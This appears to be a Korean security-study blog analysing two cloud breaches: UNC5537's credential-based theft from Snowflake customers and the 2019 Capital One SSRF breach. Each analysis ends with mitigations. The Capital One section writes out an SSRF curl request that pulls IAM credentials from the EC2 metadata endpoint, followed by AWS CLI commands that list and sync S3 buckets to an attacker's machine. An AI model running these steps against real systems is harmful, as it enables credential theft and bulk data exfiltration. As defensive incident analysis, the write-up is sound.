꼰머의 보안공부

1. 개요

- UNC5537 해킹 그룹이 Snowflake 고객 데이터베이스에 접근 및 데이터 탈취
- Infostealer 멀웨어를 통해 획득한 자격 증명을 사용
- 침해된 데이터들은 다크웹에서 판매

2. 주요 내용 [1]

① 계정 탈취

- 공격자들은 Infostealer 악성코드를 활용해 계정 탈취
> 피싱, 불법 복제 소프트웨어 등으로 악성코드 유포
> 조사에 따르면 악용된 계정 중 79.7%가 이전에 노출된 적이 있음
> 탈취된 계정 증명은 23년 기준 공격자들의 주요 최초 침투 전략 중 4위에 랭크(전체 침투 사건의 10%)
> VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA 및 METASTEALER Infostealer 활용

※ 클라우드 설정 오류로 인한 크리덴셜 유출
> 최근 클라우드가 크게 유행하면서 발생
> 사용자가 민감한 데이터가 저장된 클라우드 DB를 설정 오류로 전체 공개로 설정
> 해당 DB의 URL만 알게된다면 DB에 접근 및 정보 열람이 가능
> 많은 사용자들의 여러 설정 오류와 같은 실수로 공격자에게 정보를 탈취 당함

② 정찰

- Snowflake 고객 인스턴스의 초기 접근은 웹 기반 UI(SnowFlake UI , SnowSight) 또는 윈도우 서버 2022에서 실행되는 CLI 도구(SnowSQL)를 이용
> 공격자들은 .NET 및 Java 버전의 FROSTBITE를 정찰 도구로 활용
> .NET 버전은 Snowflake .NET 드라이버와, JAVA 버전은 Snowflake JDBC 드라이버와 연동해 작동
> FROSTBITE는 사용자, 현재 역할, IP, 세션 ID 및 조직 이름 등의 정보를 수집
> 오픈 소스 DB 관리 유틸리티인 DBeaver Ultimate를 사용해 Snowflake 인스턴스 연결 및 쿼리 실행

③ 정보 탈취

- 공격자는 Mullvad, PIA VPN을 활용해 침해한 Snowflake 인스턴스에 접근
> 탈취한 데이터는 ALEXHOST SRL(몰도바 호스팅 업체)의 VPS(Virtual Private Serve) 시스템에 저장 

2.1 특징

- 공격자들은 3가지 특징을 보임
① 다중인증 기능이 활성화 되지 않은 채 Snowflake 계정 사용
② 계정 비밀번호를 오랜 기간 변경 없이 사용
③ 신뢰할 만한 지역에서만 로그인이 가능하도록 하는 옵션 비활성화

- 해당 사건은 클라우드 플랫폼 보안에 대한 책임을 사용자와 플랫폼 업체가 공유한다는 개념이 부실하여 생긴 사건
> 플랫폼 업체는 취약점 관리와 클라우드 내 테넌트들끼리 침범하지 못하도록 하는 등 관리 책임
> 사용자는 계정이나 DB를 안전하게 설정하는 등 안전하게 사용할 책임

2.2 대응방안

- 주기적인 비밀번호 변경
- 여러 서비스간 동일 비밀번호 사용 금지
- 다중인증 기능 활성화
- 접근 제한 기능 활용 등

3. 참고

[1] https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion?hl=en
[2] https://www.dailysecu.com/news/articleView.html?idxno=156822
[3] https://www.boannews.com/media/view.asp?idx=130504&page=1&kind=1
[4] https://www.boannews.com/media/view.asp?idx=130536&page=1&kind=1
[5] https://www.boannews.com/media/view.asp?idx=130594&page=1&kind=1
[6] https://www.boannews.com/media/view.asp?idx=130527&page=1&kind=1

1. 개요

- 2019.07.29 미국의 금융지주회사인 캐피탈 원(Capital One)이 해킹으로 인해 1억 6000만 명의 고객 개인정보가 유출

- 캐피탈 원은 해킹으로 인해 1억 5000만 달러의 피해가 발생 (당시 환율 기준 약 1773억 원)

- 유출된 개인정보는 2005~2019 초까지 신용카드를 신청한 고객들의 정보로 이름, 주소, 생년월일 등의 신상정보와 신용 점수 및 한도, 예금 잔액 등의 금융정보가 포함

- 그 외 2016~2018 중 23일간의 거래 내역, 14만명의 사회보장번호, 8만개의 계좌번호도 유출

- 캐피탈 원은 해킹 흔적 발견 직후 수사당국에 신고하였으며, FBI는 용의자로 시애틀에 위치한 IT 기업의 소프트웨어 엔지니어 페이지 톰슨을 검거

- 톰슨은 2016년 AWS에서 시스템 엔지니어로 근무한 이력이 있음

1.1 요약

- 공격자는 SSRF 취약점을 이용해 AWS EC2 메타데이터 서비스에 엑세스하여 AWS 액세스 키에 접근

- 대상 애플리케이션이 WAF 뒤에 위치했지만, Bypass가 사용되었거나 WAF가 공격을 차단하도록 구성되지 않았음

- 키를 이용해 공격자는 로컬 디스크에 S3 버킷을 나열 및 동기화하여 버킷에 포함된 모든 데이터에 엑세스가 가능해짐

※ EC2 (Elastic Compute Cloud): 아마존에서 크기 조정이 가능한 컴퓨팅 용량을 제공하는 웹 서비스

※ S3 (Simple Storage Service): 클라우드 공간에 데이터(파일)를 저장하고 사용자에게 제공해 주는 온라인 스토리지 웹 서비스

※ S3 버킷(Bucket): S3에서 연관된 객체들(데이터들)을 그룹핑한 최상위 디렉토리

1.2 SSRF (Server Side Request Forgery)

- 2021에 발표된 OWASP TOP 10에 신설된 항목 

- 서버 측에서 위조된 요청을 보내도록 하여 일반적으로 사용자들이 접근할 수 없는 내부 자원에 접근하여 악성행위가 가능한 취약점

- 즉, 취약한 서버를 이용하여 공격자가 내부 서버에 원하는 요청을 전송하여 정보를 탈취하는 공격 유형

2. 분석

2.1 SSRF를 이용한 AWS 자격 증명 탈취

- AWS에서 작동되는 EC2에서만 메타데이터 서비스(hxxp://169.254.169.254)에 엑세스가 가능함

- 일반적으로 해당 URL은 VM의 IP 주소, AWS 네트워크 내 배치, 호스트 이름 등의 정보를 HTTP API로 제공하며 AWS 클라우드 애플리케이션 개발자에게 매우 유용하게 사용됨

- 공격자는 SSRF를 통해 서버를 자신의 요청에 대한 프록시로 취급하도록 서버를 속여 내부망의 엔드포인트에 엑세스

2.2 권한 상승

- 공격자는 위 SSRF 공격 결과와 AWS EC2 서버가 임시 크리덴셜이 포함된 엔드포이트에 엑세스할 수 있다는 지식을 결합하여 다음 URL에 대한 요청을 전송

hxxp://169.254.169.254/iam/security-credentials

- 엔드포인트의 반환 목록 중 “ISRM-WAF-Role”를 통해 엑세스한 서버가 캐피탈 원의 WAF일 것이라고 추측

- 공격자는 "ISRM-WAF-Role”를 이용해 SSRF 공격을 사용하였고, 엔드포인트는 자격 증명 세트를 반환함

<요청>
curl hxxp://example.com/?url=hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

<응답>
{ 
    AccessKeyId: "<액세스 키>", 
    SecretAccessKey: "<비밀 키>", 
}

- 인스턴스 메타데이터를 통해 연결된 IAM 역할에 대한 AWS 자격 정보를 요청할 때 응답은 다음과 같은 형식을 지님

2.1.1 자격 증명 추가

- 공격자는 "aws configure" 명령을 사용해 [사진 3]에서 확인된 자격 증명 데이터를 로컬 AWS CLI에 추가

- 또한, 텍스트 편집기를 이용해 [사진 3]에서 확인된 토큰을 환경변수 또는 ~/.aws/credentials 파일의 aws_session_token에 등록

2.3 S3의 데이터에 엑세스

- 자격 증명 추가 후 아래 명령으로 AWS STS를 호출해 자격 증명을 확인하여 올바르게 설정되었는지 확인

- 해당 명령은 사용자 ID, 계정 번호 및 ARN(Amazon 리소스 번호)를 출력함

- 명령: aws sts get-caller-identity –profile example

※ Linux 시스템에서 현재 사용자의 이름을 출력하는 명령어인 whoami 명령

{
    "UserId": "AROA5A6IYBDLAKYYJCQQQ:i-07160cbf7c64abcdef9",
    "Account": "0070074815830",
    "Arn": "arn:aws:sts::0070074815830:assumed-role/ISRM-WAF-Role/i-07160cbf7c64abcdef9"
}

- 훔친 키와 토큰으로 AWS CLI를 설정한 후 명령을 통해 계정에서 사용 가능한 S3 버킷을 나열

- 명령: aws s3 ls --profile example

- 공격자는 sync 명령으로 700개 정도의 S3 버킷의 내용을 다운로드

- 명령: aws s3 sync s3://bucket-credit-card-numbers /home/attacker/localstash/capitalone/ --profile example

3. 문제점

3.1 조사 중 확인된 문제점

① 사용자 데이터를 처리하는 과정에서 적절한 검증없이 서버에 입력값 전달

- 입력값에 대한 부적절한 검증으로 웹 응용 프로그램에서 SSRF 취약점이 이용됨

② 잘못된 구성된 역할 및 권한에 따른 불필요 권한 제공

- ISRM-WAF-Role이 필요하지 않은 상황에도 IAM 자격 증명을 반환함

③ 암호화 부재

- AWS S3 데이터 스토리지는 암호화되지 않음

④ 모니터링 부재

- IAM 및 AWS STS API 호출과 민감한 데이터 특성을 고려한 S3 읽기/쓰기에 대한 모니터링

3.2 보고된 Cloud 취약점

① 클라우드 설정 오류 때문에 발생하는 보안 사고는 아직도 지나치게 많은 수준

> 과도한 권한 부여, 잘못된 보안 설정 등

② SSRF는 Cloud 환경에 오래전부터 알려진 위협

> RSA Conference 2015에서 SSRF 취약점을 활용한 API 키 및 자격 증명 데이터 탈취 발표

4. 보안 권장 사항

① 각 애플리케이션, EC2 인스턴스 또는 자동 확장 그룹에 고유한 IAM의 존재 확인

> 관련 없는 애플리케이션 간 역할 공유 금지

② 과도한 권한 설정 금지

> 필요한 AWS 리소스에만 엑세스할 수 있도록 각 역할의 권한 설정

③ 접근 통제

> 허가된 IP 또는 VPC 엔드포인트에 대한 접근 통제

④ 모니터링

> 전사 차원의 AWS CloudTail 활성화 여부 점검 및 로그 모니터링

5. 참고

[1] https://www.capitalone.com/digital/facts2019/
[2] https://blog.cloudsploit.com/a-technical-analysis-of-the-capital-one-hack-a9b43d7c8aea
[3] https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af
[4] https://www.techtarget.com/searchsecurity/news/252467901/Capital-One-hack-highlights-SSRF-concerns-for-AWS
[5] https://www.justice.gov/usao-wdwa/press-release/file/1188626/download
[6] https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
[7] https://www.itworld.co.kr/news/129854
[8] https://it.chosun.com/site/data/html_dir/2019/07/31/2019073101186.html
[9] https://zdnet.co.kr/view/?no=20190816173209
[10] https://www.boannews.com/media/view.asp?idx=107662